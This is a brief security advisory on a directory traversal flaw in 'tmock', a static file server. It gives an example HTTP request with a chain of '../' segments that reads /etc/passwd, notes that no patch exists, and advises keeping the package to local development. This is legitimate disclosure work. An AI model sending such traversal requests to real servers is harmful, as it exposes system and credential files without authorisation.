`tmock` is a static file server.
`tmock` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.
**Example request:**
```http
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost
```
and server Response:
```http
HTTP/1.1 200 OK

{contents of /etc/passwd}
```
## Recommendation
No patch is available for this vulnerability.
It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
